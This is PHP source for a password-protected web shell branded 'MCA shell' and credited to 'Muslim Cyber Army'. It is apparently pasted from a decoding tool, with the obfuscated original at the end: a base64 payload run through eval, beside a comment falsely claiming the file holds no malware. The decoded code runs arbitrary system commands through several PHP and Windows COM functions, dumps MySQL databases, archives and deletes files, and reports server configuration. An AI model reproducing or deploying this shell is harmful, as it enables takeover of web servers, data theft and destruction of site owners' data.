	makeinput(array(\'name\'=>\'second\',\'value\'=>date(\'s\',$opfilemtime),\'size\'=>2));
	p(\'</p>\');
	formfooter();
}//end newtime

elseif ($action == \'shell\') {
	if (IS_WIN && IS_COM) {
		if($program && $parameter) {
			$shell= new COM(\'Shell.Application\');
			$a = $shell->ShellExecute($program,$parameter);
			m(\'Program run has \'.(!$a ? \'success\' : \'fail\'));
		}
		!$program && $program = \'c:\windows\system32\cmd.exe\';
		!$parameter && $parameter = \'/c net start > \'.SA_ROOT.\'log.txt\';
		formhead(array(\'title\'=>\'Execute Program\'));
		makehide(\'action\',\'shell\');
		makeinput(array(\'title\'=>\'Program\',\'name\'=>\'program\',\'value\'=>$program,\'newline\'=>1));
		p(\'<p>\');
		makeinput(array(\'title\'=>\'Parameter\',\'name\'=>\'parameter\',\'value\'=>$parameter));
		makeinput(array(\'name\'=>\'submit\',\'class\'=>\'bt\',\'type\'=>\'submit\',\'value\'=>\'Execute\'));
		p(\'</p>\');
		formfoot();
	}
	formhead(array(\'title\'=>\'Execute Command\'));
	makehide(\'action\',\'shell\');
	if (IS_WIN && IS_COM) {
		$execfuncdb = array(\'phpfunc\'=>\'phpfunc\',\'wscript\'=>\'wscript\',\'proc_open\'=>\'proc_open\');
		makeselect(array(\'title\'=>\'Use:\',\'name\'=>\'execfunc\',\'option\'=>$execfuncdb,\'selected\'=>$execfunc,\'newline\'=>1));
	}
	p(\'<p>\');
	makeinput(array(\'title\'=>\'Command\',\'name\'=>\'command\',\'value\'=>$command));
	makeinput(array(\'name\'=>\'submit\',\'class\'=>\'bt\',\'type\'=>\'submit\',\'value\'=>\'Execute\'));
	p(\'</p>\');
	formfoot();

	if ($command) {
		p(\'<hr width="100%" noshade /><pre>\');
		if ($execfunc==\'wscript\' && IS_WIN && IS_COM) {
			$wsh = new COM(\'WScript.shell\');
			$exec = $wsh->exec(\'cmd.exe /c \'.$command);
			$stdout = $exec->StdOut();
			$stroutput = $stdout->ReadAll();
			echo $stroutput;
		} elseif ($execfunc==\'proc_open\' && IS_WIN && IS_COM) {
			$descriptorspec = array(
			   0 => array(\'pipe\', \'r\'),
			   1 => array(\'pipe\', \'w\'),
			   2 => array(\'pipe\', \'w\')
			);
			$process = proc_open($_SERVER[\'COMSPEC\'], $descriptorspec, $pipes);
			if (is_resource($process)) {
				fwrite($pipes[0], $command."\r\n");
				fwrite($pipes[0], "exit\r\n");
				fclose($pipes[0]);
				while (!feof($pipes[1])) {
					echo fgets($pipes[1], 1024);
				}
				fclose($pipes[1]);
				while (!feof($pipes[2])) {
					echo fgets($pipes[2], 1024);
				}
				fclose($pipes[2]);
				proc_close($process);
			}
		} else {
			echo(execute($command));
		}
		p(\'</pre>\');
	}
}//end shell

elseif ($action == \'phpenv\') {
	$upsize=getcfg(\'file_uploads\') ? getcfg(\'upload_max_filesize\') : \'Not allowed\';
	$adminmail=isset($_SERVER[\'SERVER_ADMIN\']) ? $_SERVER[\'SERVER_ADMIN\'] : getcfg(\'sendmail_from\');
	!$dis_func && $dis_func = \'No\';
	$info = array(
		1 => array(\'Server Time\',date(\'Y/m/d h:i:s\',$timestamp)),
		2 => array(\'Server Domain\',$_SERVER[\'SERVER_NAME\']),
		3 => array(\'Server IP\',gethostbyname($_SERVER[\'SERVER_NAME\'])),
		4 => array(\'Server OS\',PHP_OS),
		5 => array(\'Server OS Charset\',$_SERVER[\'HTTP_ACCEPT_LANGUAGE\']),
		6 => array(\'Server Software\',$_SERVER[\'SERVER_SOFTWARE\']),
		7 => array(\'Server Web Port\',$_SERVER[\'SERVER_PORT\']),
		8 => array(\'PHP run mode\',strtoupper(php_sapi_name())),
		9 => array(\'The file path\',__FILE__),

		10 => array(\'PHP Version\',PHP_VERSION),
		11 => array(\'PHPINFO\',(IS_PHPINFO ? \'<a href="javascript:goaction(\\'phpinfo\\');">Yes</a>\' : \'No\')),
		12 => array(\'Safe Mode\',getcfg(\'safe_mode\')),
		13 => array(\'Administrator\',$adminmail),
		14 => array(\'allow_url_fopen\',getcfg(\'allow_url_fopen\')),
		15 => array(\'enable_dl\',getcfg(\'enable_dl\')),
		16 => array(\'display_errors\',getcfg(\'display_errors\')),
		17 => array(\'register_globals\',getcfg(\'register_globals\')),
		18 => array(\'magic_quotes_gpc\',getcfg(\'magic_quotes_gpc\')),
		19 => array(\'memory_limit\',getcfg(\'memory_limit\')),
		20 => array(\'post_max_size\',getcfg(\'post_max_size\')),
		21 => array(\'upload_max_filesize\',$upsize),
		22 => array(\'max_execution_time\',getcfg(\'max_execution_time\').\' second(s)\'),
		23 => array(\'disable_functions\',$dis_func),
	);

	if($phpvarname) {
		m($phpvarname .\' : \'.getcfg($phpvarname));
	}

	formhead(array(\'title\'=>\'Server environment\'));
	makehide(\'action\',\'phpenv\');
	makeinput(array(\'title\'=>\'Please input PHP configuration parameter(eg:magic_quotes_gpc)\',\'name\'=>\'phpvarname\',\'value\'=>$phpvarname,\'newline\'=>1));
	formfooter();

	$hp = array(0=> \'Server\', 1=> \'PHP\');
	for($a=0;$a<2;$a++) {
		p(\'<h2>\'.$hp[$a].\' &raquo;</h2>\');
		p(\'<ul class="info">\');
		if ($a==0) {
			for($i=1;$i<=9;$i++) {
				p(\'<li><u>\'.$info[$i][0].\':</u>\'.$info[$i][1].\'</li>\');
			}
		} elseif ($a == 1) {
			for($i=10;$i<=23;$i++) {
				p(\'<li><u>\'.$info[$i][0].\':</u>\'.$info[$i][1].\'</li>\');
			}
		}
		p(\'</ul>\');
	}
}//end phpenv

else {
	m(\'Undefined Action\');
}

?>

</td></tr></table>
<div style="padding:10px;border-bottom:1px solid #0E0E0E;border-top:1px solid #0E0E0E;background:#0E0E0E;">
	<span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
	Copyright (C) 2013 <B></B> - Develop by <a href=http://google.com target=_blank><B>BillGate   </B></a> - <B>- Muslim Cyber Army</B> All Rights Reserved.
</div>
</body>
</noscript>

<?php

/*======================================================
Show info shell
======================================================*/

function m($msg) {
	echo \'<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">\';
	echo $msg;
	echo \'</div>\';
}
function scookie($key, $value, $life = 0, $prefix = 1) {
	global $admin, $timestamp, $_SERVER;
	$key = ($prefix ? $admin[\'cookiepre\'] : \'\').$key;
	$life = $life ? $life : $admin[\'cookielife\'];
	$useport = $_SERVER[\'SERVER_PORT\'] == 443 ? 1 : 0;
	setcookie($key, $value, $timestamp+$life, $admin[\'cookiepath\'], $admin[\'cookiedomain\'], $useport);
}
function multi($num, $perpage, $curpage, $tablename) {
	$multipage = \'\';
	if($num > $perpage) {
		$page = 10;
		$offset = 5;
		$pages = @ceil($num / $perpage);
		if($page > $pages) {
			$from = 1;
			$to = $pages;
		} else {
			$from = $curpage - $offset;
			$to = $curpage + $page - $offset - 1;
			if($from < 1) {
				$to = $curpage + 1 - $from;
				$from = 1;
				if(($to - $from) < $page && ($to - $from) < $pages) {
					$to = $page;
				}
			} elseif($to > $pages) {
				$from = $curpage - $pages + $to;
				$to = $pages;
				if(($to - $from) < $page && ($to - $from) < $pages) {
					$from = $pages - $page + 1;
				}
			}
		}
		$multipage = ($curpage - $offset > 1 && $pages > $page ? \'<a href="javascript:settable(\\'\'.$tablename.\'\\', \\'\\', 1);">First</a> \' : \'\').($curpage > 1 ? \'<a href="javascript:settable(\\'\'.$tablename.\'\\', \\'\\', \'.($curpage - 1).\');">Prev</a> \' : \'\');
		for($i = $from; $i <= $to; $i++) {
			$multipage .= $i == $curpage ? $i.\' \' : \'<a href="javascript:settable(\\'\'.$tablename.\'\\', \\'\\', \'.$i.\');">[\'.$i.\']</a> \';
		}
		$multipage .= ($curpage < $pages ? \'<a href="javascript:settable(\\'\'.$tablename.\'\\', \\'\\', \'.($curpage + 1).\');">Next</a>\' : \'\').($to < $pages ? \' <a href="javascript:settable(\\'\'.$tablename.\'\\', \\'\\', \'.$pages.\');">Last</a>\' : \'\');
		$multipage = $multipage ? \'<p>Pages: \'.$multipage.\'</p>\' : \'\';
	}
	return $multipage;
}
// Login page
function loginpage() {
?>

<html>
<head>

<body bgcolor=black background=1.jpg>

		<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>.::[ MCA shell ]::. </title>
<style type="text/css">
A:link {text-decoration: none; color: green }
A:visited {text-decoration: none;color:red}
A:active {text-decoration: none}
A:hover {text-decoration: underline; color: green;}
input, textarea, button
{
	font-size: 11pt;
	color: 	#FFFFFF;
	font-family: verdana, sans-serif;
	background-color: #000000;
	border-left: 2px dashed #8B0000;
	border-top: 2px dashed #8B0000;
	border-right: 2px dashed #8B0000;
	border-bottom: 2px dashed #8B0000;
}

</style>

       <BR><BR>
<div align=center >

<div>

<font color=gray>
<br /><br /><br /><br /><br />

<form method="POST" action="">
	<span style="font:20pt tahoma;"> </span><input name="password" type="password" size="30">
	<input type="hidden" name="doing" value="login">
	<input type="submit" value="Login">
	</form>
<BR>
<?php
echo "".$err_mess."";
?>

	<B><font color=red>






</div>


	</fieldset>



</head>
</html>

<?php
	exit;

}//end loginpage()

function execute($cfe) {
	$res = \'\';
	if ($cfe) {
		if(function_exists(\'exec\')) {
			@exec($cfe,$res);
			$res = join("\n",$res);
		} elseif(function_exists(\'shell_exec\')) {
			$res = @shell_exec($cfe);
		} elseif(function_exists(\'system\')) {
			@ob_start();
			@system($cfe);
			$res = @ob_get_contents();
			@ob_end_clean();
		} elseif(function_exists(\'passthru\')) {
			@ob_start();
			@passthru($cfe);
			$res = @ob_get_contents();
			@ob_end_clean();
		} elseif(@is_resource($f = @popen($cfe,"r"))) {
			$res = \'\';
			while(!@feof($f)) {
				$res .= @fread($f,1024);
			}
			@pclose($f);
		}
	}
	return $res;
}
function which($pr) {
	$path = execute("which $pr");
	return ($path ? $path : $pr);
}

function cf($fname,$text){
	if($fp=@fopen($fname,\'w\')) {
		@fputs($fp,base64_decode($text));
		@fclose($fp);
	}
}

// Debug
function debuginfo() {
	global $starttime;
	$mtime = explode(\' \', microtime());
	$totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
	echo \'Processed in \'.$totaltime.\' second(s)\';
}

// Function connect database
function dbconn($dbhost,$dbuser,$dbpass,$dbname=\'\',$charset=\'\',$dbport=\'3306\') {
	if(!$link = @mysql_connect($dbhost.\':\'.$dbport, $dbuser, $dbpass)) {
		p(\'<h2>Can not connect to MySQL server</h2>\');
		exit;
	}
	if($link && $dbname) {
		if (!@mysql_select_db($dbname, $link)) {
			p(\'<h2>Database selected has error</h2>\');
			exit;
		}
	}
	if($link && mysql_get_server_info() > \'4.1\') {
		if(in_array(strtolower($charset), array(\'gbk\', \'big5\', \'utf8\'))) {
			q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
		}
	}
	return $link;
}

// Array strip
function s_array(&$array) {
	if (is_array($array)) {
		foreach ($array as $k => $v) {
			$array[$k] = s_array($v);
		}
	} else if (is_string($array)) {
		$array = stripslashes($array);
	}
	return $array;
}

// HTML Strip
function html_clean($content) {
	$content = htmlspecialchars($content);
	$content = str_replace("\n", "<br />", $content);
	$content = str_replace("  ", "&nbsp;&nbsp;", $content);
	$content = str_replace("\t", "&nbsp;&nbsp;&nbsp;&nbsp;", $content);
	return $content;
}

// Chmod
function getChmod($filepath){
	return substr(base_convert(@fileperms($filepath),10,8),-4);
}

function getPerms($filepath) {
	$mode = @fileperms($filepath);
	if (($mode & 0xC000) === 0xC000) {$type = \'s\';}
	elseif (($mode & 0x4000) === 0x4000) {$type = \'d\';}
	elseif (($mode & 0xA000) === 0xA000) {$type = \'l\';}
	elseif (($mode & 0x8000) === 0x8000) {$type = \'-\';}
	elseif (($mode & 0x6000) === 0x6000) {$type = \'b\';}
	elseif (($mode & 0x2000) === 0x2000) {$type = \'c\';}
	elseif (($mode & 0x1000) === 0x1000) {$type = \'p\';}
	else {$type = \'?\';}

	$owner[\'read\'] = ($mode & 00400) ? \'r\' : \'-\';
	$owner[\'write\'] = ($mode & 00200) ? \'w\' : \'-\';
	$owner[\'execute\'] = ($mode & 00100) ? \'x\' : \'-\';
	$group[\'read\'] = ($mode & 00040) ? \'r\' : \'-\';
	$group[\'write\'] = ($mode & 00020) ? \'w\' : \'-\';
	$group[\'execute\'] = ($mode & 00010) ? \'x\' : \'-\';
	$world[\'read\'] = ($mode & 00004) ? \'r\' : \'-\';
	$world[\'write\'] = ($mode & 00002) ? \'w\' : \'-\';
	$world[\'execute\'] = ($mode & 00001) ? \'x\' : \'-\';

	if( $mode & 0x800 ) {$owner[\'execute\'] = ($owner[\'execute\']==\'x\') ? \'s\' : \'S\';}
	if( $mode & 0x400 ) {$group[\'execute\'] = ($group[\'execute\']==\'x\') ? \'s\' : \'S\';}
	if( $mode & 0x200 ) {$world[\'execute\'] = ($world[\'execute\']==\'x\') ? \'t\' : \'T\';}

	return $type.$owner[\'read\'].$owner[\'write\'].$owner[\'execute\'].$group[\'read\'].$group[\'write\'].$group[\'execute\'].$world[\'read\'].$world[\'write\'].$world[\'execute\'];
}

function getUser($filepath)	{
	if (function_exists(\'posix_getpwuid\')) {
		$array = @posix_getpwuid(@fileowner($filepath));
		if ($array && is_array($array)) {
			return \' / <a href="#" title="User: \'.$array[\'name\'].\'&#13&#10Passwd: \'.$array[\'passwd\'].\'&#13&#10Uid: \'.$array[\'uid\'].\'&#13&#10gid: \'.$array[\'gid\'].\'&#13&#10Gecos: \'.$array[\'gecos\'].\'&#13&#10Dir: \'.$array[\'dir\'].\'&#13&#10Shell: \'.$array[\'shell\'].\'">\'.$array[\'name\'].\'</a>\';
		}
	}
	return \'\';
}

// Delete dir
function deltree($deldir) {
	$mydir=@dir($deldir);
	while($file=$mydir->read())	{
		if((is_dir($deldir.\'/\'.$file)) && ($file!=\'.\') && ($file!=\'..\')) {
			@chmod($deldir.\'/\'.$file,0777);
			deltree($deldir.\'/\'.$file);
		}
		if (is_file($deldir.\'/\'.$file)) {
			@chmod($deldir.\'/\'.$file,0777);
			@unlink($deldir.\'/\'.$file);
		}
	}
	$mydir->close();
	@chmod($deldir,0777);
	return @rmdir($deldir) ? 1 : 0;
}

// Background
function bg() {
	global $bgc;
	return ($bgc++%2==0) ? \'alt1\' : \'alt2\';
}

// Get path
function getPath($scriptpath, $nowpath) {
	if ($nowpath == \'.\') {
		$nowpath = $scriptpath;
	}
	$nowpath = str_replace(\'\\\', \'/\', $nowpath);
	$nowpath = str_replace(\'//\', \'/\', $nowpath);
	if (substr($nowpath, -1) != \'/\') {
		$nowpath = $nowpath.\'/\';
	}
	return $nowpath;
}

// Get up path
function getUpPath($nowpath) {
	$pathdb = explode(\'/\', $nowpath);
	$num = count($pathdb);
	if ($num > 2) {
		unset($pathdb[$num-1],$pathdb[$num-2]);
	}
	$uppath = implode(\'/\', $pathdb).\'/\';
	$uppath = str_replace(\'//\', \'/\', $uppath);
	return $uppath;
}

// Config
function getcfg($varname) {
	$result = get_cfg_var($varname);
	if ($result == 0) {
		return \'No\';
	} elseif ($result == 1) {
		return \'Yes\';
	} else {
		return $result;
	}
}

// Function name
function getfun($funName) {
	return (false !== function_exists($funName)) ? \'Yes\' : \'No\';
}

function GetList($dir){
	global $dirdata,$j,$nowpath;
	!$j && $j=1;
	if ($dh = opendir($dir)) {
		while ($file = readdir($dh)) {
			$f=str_replace(\'//\',\'/\',$dir.\'/\'.$file);
			if($file!=\'.\' && $file!=\'..\' && is_dir($f)){
				if (is_writable($f)) {
					$dirdata[$j][\'filename\']=str_replace($nowpath,\'\',$f);
					$dirdata[$j][\'mtime\']=@date(\'Y-m-d H:i:s\',filemtime($f));
					$dirdata[$j][\'dirchmod\']=getChmod($f);
					$dirdata[$j][\'dirperm\']=getPerms($f);
					$dirdata[$j][\'dirlink\']=ue($dir);
					$dirdata[$j][\'server_link\']=$f;
					$dirdata[$j][\'client_link\']=ue($f);
					$j++;
				}
				GetList($f);
			}
		}
		closedir($dh);
		clearstatcache();
		return $dirdata;
	} else {
		return array();
	}
}

function qy($sql) {
	//echo $sql.\'<br>\';
	$res = $error = \'\';
	if(!$res = @mysql_query($sql)) {
		return 0;
	} else if(is_resource($res)) {
		return 1;
	} else {
		return 2;
	}
	return 0;
}

function q($sql) {
	return @mysql_query($sql);
}

function fr($qy){
	mysql_free_result($qy);
}

function sizecount($size) {
	if($size > 1073741824) {
		$size = round($size / 1073741824 * 100) / 100 . \' G\';
	} elseif($size > 1048576) {
		$size = round($size / 1048576 * 100) / 100 . \' M\';
	} elseif($size > 1024) {
		$size = round($size / 1024 * 100) / 100 . \' K\';
	} else {
		$size = $size . \' B\';
	}
	return $size;
}

// Zip
class PHPZip{
	var $out=\'\';
	function PHPZip($dir)	{
		if (@function_exists(\'gzcompress\'))	{
			$curdir = getcwd();
			if (is_array($dir)) $filelist = $dir;
			else{
				$filelist=$this -> GetFileList($dir);//File list
				foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
			}
			if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
			else chdir($curdir);
			if (count($filelist)>0){
				foreach($filelist as $filename){
					if (is_file($filename)){
						$fd = fopen ($filename, \'r\');
						$content = @fread ($fd, filesize($filename));
						fclose ($fd);
						if (is_array($dir)) $filename = basename($filename);
						$this -> addFile($content, $filename);
					}
				}
				$this->out = $this -> file();
				chdir($curdir);
			}
			return 1;
		}
		else return 0;
	}

	// Show file list
	function GetFileList($dir){
		static $a;
		if (is_dir($dir)) {
			if ($dh = opendir($dir)) {
				while ($file = readdir($dh)) {
					if($file!=\'.\' && $file!=\'..\'){
						$f=$dir .\'/\'. $file;
						if(is_dir($f)) $this->GetFileList($f);
						$a[]=$f;
					}
				}
				closedir($dh);
			}
		}
		return $a;
	}

	var $datasec      = array();
	var $ctrl_dir     = array();
	var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
	var $old_offset   = 0;

	function unix2DosTime($unixtime = 0) {
		$timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
		if ($timearray[\'year\'] < 1980) {
			$timearray[\'year\']    = 1980;
			$timearray[\'mon\']     = 1;
			$timearray[\'mday\']    = 1;
			$timearray[\'hours\']   = 0;
			$timearray[\'minutes\'] = 0;
			$timearray[\'seconds\'] = 0;
		} // end if
		return (($timearray[\'year\'] - 1980) << 25) | ($timearray[\'mon\'] << 21) | ($timearray[\'mday\'] << 16) |
				($timearray[\'hours\'] << 11) | ($timearray[\'minutes\'] << 5) | ($timearray[\'seconds\'] >> 1);
	}

	function addFile($data, $name, $time = 0) {
		$name = str_replace(\'\\\', \'/\', $name);

		$dtime = dechex($this->unix2DosTime($time));
		$hexdtime	= \'\x\' . $dtime[6] . $dtime[7]
					. \'\x\' . $dtime[4] . $dtime[5]
					. \'\x\' . $dtime[2] . $dtime[3]
					. \'\x\' . $dtime[0] . $dtime[1];
		eval(\'$hexdtime = "\' . $hexdtime . \'";\');
		$fr	= "\x50\x4b\x03\x04";
		$fr	.= "\x14\x00";
		$fr	.= "\x00\x00";
		$fr	.= "\x08\x00";
		$fr	.= $hexdtime;

		$unc_len = strlen($data);
		$crc = crc32($data);
		$zdata = gzcompress($data);
		$c_len = strlen($zdata);
		$zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
		$fr .= pack(\'V\', $crc);
		$fr .= pack(\'V\', $c_len);
		$fr .= pack(\'V\', $unc_len);
		$fr .= pack(\'v\', strlen($name));
		$fr .= pack(\'v\', 0);
		$fr .= $name;
		$fr .= $zdata;
		$fr .= pack(\'V\', $crc);
		$fr .= pack(\'V\', $c_len);
		$fr .= pack(\'V\', $unc_len);

		$this -> datasec[] = $fr;
		$new_offset = strlen(implode(\'\', $this->datasec));

		$cdrec = "\x50\x4b\x01\x02";
		$cdrec .= "\x00\x00";
		$cdrec .= "\x14\x00";
		$cdrec .= "\x00\x00";
		$cdrec .= "\x08\x00";
		$cdrec .= $hexdtime;
		$cdrec .= pack(\'V\', $crc);
		$cdrec .= pack(\'V\', $c_len);
		$cdrec .= pack(\'V\', $unc_len);
		$cdrec .= pack(\'v\', strlen($name) );
		$cdrec .= pack(\'v\', 0 );
		$cdrec .= pack(\'v\', 0 );
		$cdrec .= pack(\'v\', 0 );
		$cdrec .= pack(\'v\', 0 );
		$cdrec .= pack(\'V\', 32 );
		$cdrec .= pack(\'V\', $this -> old_offset );
		$this -> old_offset = $new_offset;
		$cdrec .= $name;

		$this -> ctrl_dir[] = $cdrec;
	}

	function file() {
		$data    = implode(\'\', $this -> datasec);
		$ctrldir = implode(\'\', $this -> ctrl_dir);
		return $data . $ctrldir . $this -> eof_ctrl_dir . pack(\'v\', sizeof($this -> ctrl_dir)) . pack(\'v\', sizeof($this -> ctrl_dir)) .	pack(\'V\', strlen($ctrldir)) . pack(\'V\', strlen($data)) . "\x00\x00";
	}
}

// Dump mysql
function sqldumptable($table, $fp=0) {
	$tabledump = "DROP TABLE IF EXISTS $table;\n";
	$tabledump .= "CREATE TABLE $table (\n";

	$firstfield=1;

	$fields = q("SHOW FIELDS FROM $table");
	while ($field = mysql_fetch_array($fields)) {
		if (!$firstfield) {
			$tabledump .= ",\n";
		} else {
			$firstfield=0;
		}
		$tabledump .= "   $field[Field] $field[Type]";
		if (!empty($field["Default"])) {
			$tabledump .= " DEFAULT \'$field[Default]\'";
		}
		if ($field[\'Null\'] != "YES") {
			$tabledump .= " NOT NULL";
		}
		if ($field[\'Extra\'] != "") {
			$tabledump .= " $field[Extra]";
		}
	}
	fr($fields);

	$keys = q("SHOW KEYS FROM $table");
	while ($key = mysql_fetch_array($keys)) {
		$kname=$key[\'Key_name\'];
		if ($kname != "PRIMARY" && $key[\'Non_unique\'] == 0) {
			$kname="UNIQUE|$kname";
		}
		if(!is_array($index[$kname])) {
			$index[$kname] = array();
		}
		$index[$kname][] = $key[\'Column_name\'];
	}
	fr($keys);

	while(list($kname, $columns) = @each($index)) {
		$tabledump .= ",\n";
		$colnames=implode($columns,",");

		if ($kname == "PRIMARY") {
			$tabledump .= "   PRIMARY KEY ($colnames)";
		} else {
			if (substr($kname,0,6) == "UNIQUE") {
				$kname=substr($kname,7);
			}
			$tabledump .= "   KEY $kname ($colnames)";
		}
	}

	$tabledump .= "\n);\n\n";
	if ($fp) {
		fwrite($fp,$tabledump);
	} else {
		echo $tabledump;
	}

	$rows = q("SELECT * FROM $table");
	$numfields = mysql_num_fields($rows);
	while ($row = mysql_fetch_array($rows)) {
		$tabledump = "INSERT INTO $table VALUES(";

		$fieldcounter=-1;
		$firstfield=1;
		while (++$fieldcounter<$numfields) {
			if (!$firstfield) {
				$tabledump.=", ";
			} else {
				$firstfield=0;
			}

			if (!isset($row[$fieldcounter])) {
				$tabledump .= "NULL";
			} else {
				$tabledump .= "\'".mysql_escape_string($row[$fieldcounter])."\'";
			}
		}

		$tabledump .= ");\n";

		if ($fp) {
			fwrite($fp,$tabledump);
		} else {
			echo $tabledump;
		}
	}
	fr($rows);
	if ($fp) {
		fwrite($fp,"\n");
	} else {
		echo "\n";
	}
}

function ue($str){
	return urlencode($str);
}

function p($str){
	echo $str."\n";
}

function tbhead() {
	p(\'<table width="100%" border="0" cellpadding="4" cellspacing="0">\');
}
function tbfoot(){
	p(\'</table>\');
}

function makehide($name,$value=\'\'){
	p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
}

function makeinput($arg = array()){
	$arg[\'size\'] = $arg[\'size\'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
	$arg[\'extra\'] = $arg[\'extra\'] ? $arg[\'extra\'] : \'\';
	!$arg[\'type\'] && $arg[\'type\'] = \'text\';
	$arg[\'title\'] = $arg[\'title\'] ? $arg[\'title\'].\'<br />\' : \'\';
	$arg[\'class\'] = $arg[\'class\'] ? $arg[\'class\'] : \'input\';
	if ($arg[\'newline\']) {
		p("<p>$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] /></p>");
	} else {
		p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] $arg[extra] />");
	}
}

function makeselect($arg = array()){
	if ($arg[\'onchange\']) {
		$onchange = \'onchange="\'.$arg[\'onchange\'].\'"\';
	}
	$arg[\'title\'] = $arg[\'title\'] ? $arg[\'title\'] : \'\';
	if ($arg[\'newline\']) p(\'<p>\');
	p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
		if (is_array($arg[\'option\'])) {
			foreach ($arg[\'option\'] as $key=>$value) {
				if ($arg[\'selected\']==$key) {
					p("<option value=\"$key\" selected>$value</option>");
				} else {
					p("<option value=\"$key\">$value</option>");
				}
			}
		}
	p("</select>");
	if ($arg[\'newline\']) p(\'</p>\');
}
function formhead($arg = array()) {
	!$arg[\'method\'] && $arg[\'method\'] = \'post\';
	!$arg[\'action\'] && $arg[\'action\'] = $self;
	$arg[\'target\'] = $arg[\'target\'] ? "target=\"$arg[target]\"" : \'\';
	!$arg[\'name\'] && $arg[\'name\'] = \'form1\';
	p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"$arg[action]\" method=\"$arg[method]\" $arg[target]>");
	if ($arg[\'title\']) {
		p(\'<h2>\'.$arg[\'title\'].\' &raquo;</h2>\');
	}
}

function maketext($arg = array()){
	!$arg[\'cols\'] && $arg[\'cols\'] = 100;
	!$arg[\'rows\'] && $arg[\'rows\'] = 25;
	$arg[\'title\'] = $arg[\'title\'] ? $arg[\'title\'].\'<br />\' : \'\';
	p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"$arg[cols]\" rows=\"$arg[rows]\" $arg[extra]>$arg[value]</textarea></p>");
}

function formfooter($name = \'\'){
	!$name && $name = \'submit\';
	p(\'<p><input class="bt" name="\'.$name.\'" id=\"\'.$name.\'\" type="submit" value="Submit"></p>\');
	p(\'</form>\');
}

function formfoot(){
	p(\'</form>\');
}

// Exit
function pr($a) {
	echo \'<pre>\';
	print_r($a);
	echo \'</pre>\';
}
?>'

Did this file decode correctly?

Original Code

<?php 
//*********************************************************************************************************************/
// MCA Shell
// no malware on this code, you can check it by yourself
//
//
// encrypt your password : "cyclone"

eval("?>".base64_decode("PD9waHANCg0KZXJyb3JfcmVwb3J0aW5nKDcpOw0KQHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgwKTsNCm9iX3N0YXJ0KCk7DQokbXRpbWUgPSBleHBsb2RlKCcgJywgbWljcm90aW1lKCkpOw0KJHN0YXJ0dGltZSA9ICRtdGltZVsxXSArICRtdGltZVswXTsNCmRlZmluZSgnU0FfUk9PVCcsIHN0cl9yZXBsYWNlKCdcXCcsICcvJywgZGlybmFtZShfX0ZJTEVfXykpLicvJyk7DQovL2RlZmluZSgnSVNfV0lOJywgc3Ryc3RyKFBIUF9PUywgJ1dJTicpID8gMSA6IDAgKTsNCmRlZmluZSgnSVNfV0lOJywgRElSRUNUT1JZX1NFUEFSQVRPUiA9PSAnXFwnKTsNCmRlZmluZSgnSVNfQ09NJywgY2xhc3NfZXhpc3RzKCdDT00nKSA/IDEgOiAwICk7DQpkZWZpbmUoJ0lTX0dQQycsIGdldF9tYWdpY19xdW90ZXNfZ3BjKCkpOw0KJGRpc19mdW5jID0gZ2V0X2NmZ192YXIoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7DQpkZWZpbmUoJ0lTX1BIUElORk8nLCAoIWVyZWdpKCJwaHBpbmZvIiwkZGlzX2Z1bmMpKSA/IDEgOiAwICk7DQpAc2V0X3RpbWVfbGltaXQoMCk7DQoNCmZvcmVhY2goYXJyYXkoJ19HRVQnLCdfUE9TVCcpIGFzICRfcmVxdWVzdCkgew0KCWZvcmVhY2goJCRfcmVxdWVzdCBhcyAkX2tleSA9PiAkX3ZhbHVlKSB7DQoJCWlmICgkX2tleXswfSAhPSAnXycpIHsNCgkJCWlmIChJU19HUEMpIHsNCgkJCQkkX3ZhbHVlID0gc19hcnJheSgkX3ZhbHVlKTsNCgkJCX0NCgkJCSQkX2tleSA9ICRfdmFsdWU7DQoJCX0NCgl9DQp9DQoNCi8qPT09PT09PT09PT09PT09PT0gIEluZm8gTG9naW4gID09PT09PT09PT09PT09PT0qLw0KJGFkbWluID0gYXJyYXkoKTsNCiRhZG1pblsnY2hlY2snXSA9IHRydWU7DQokYWRtaW5bJ3Bhc3MnXSAgPSAnY3ljbG9uZSc7IC8vIFBhc3N3b3JkIGxvZ2luDQokYWRtaW5bJ2Nvb2tpZXByZSddID0gJyc7DQokYWRtaW5bJ2Nvb2tpZWRvbWFpbiddID0gJyc7DQokYWRtaW5bJ2Nvb2tpZXBhdGgnXSA9ICcvJzsNCiRhZG1pblsnY29va2llbGlmZSddID0gODY0MDA7DQovKj09PT09PT09PT09PT09PT09PT09PSBFbmQgPT09PT09PT09PT09PT09PT09PT09Ki8NCg0KaWYgKCRjaGFyc2V0ID09ICd1dGY4Jykgew0KCWhlYWRlcigiY29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiKTsNCn0gZWxzZWlmICgkY2hhcnNldCA9PSAnYmlnNScpIHsNCgloZWFkZXIoImNvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PWJpZzUiKTsNCn0gZWxzZWlmICgkY2hhcnNldCA9PSAnZ2JrJykgew0KCWhlYWRlcigiY29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9Z2JrIik7DQp9IGVsc2VpZiAoJGNoYXJzZXQgPT0gJ2xhdGluMScpIHsN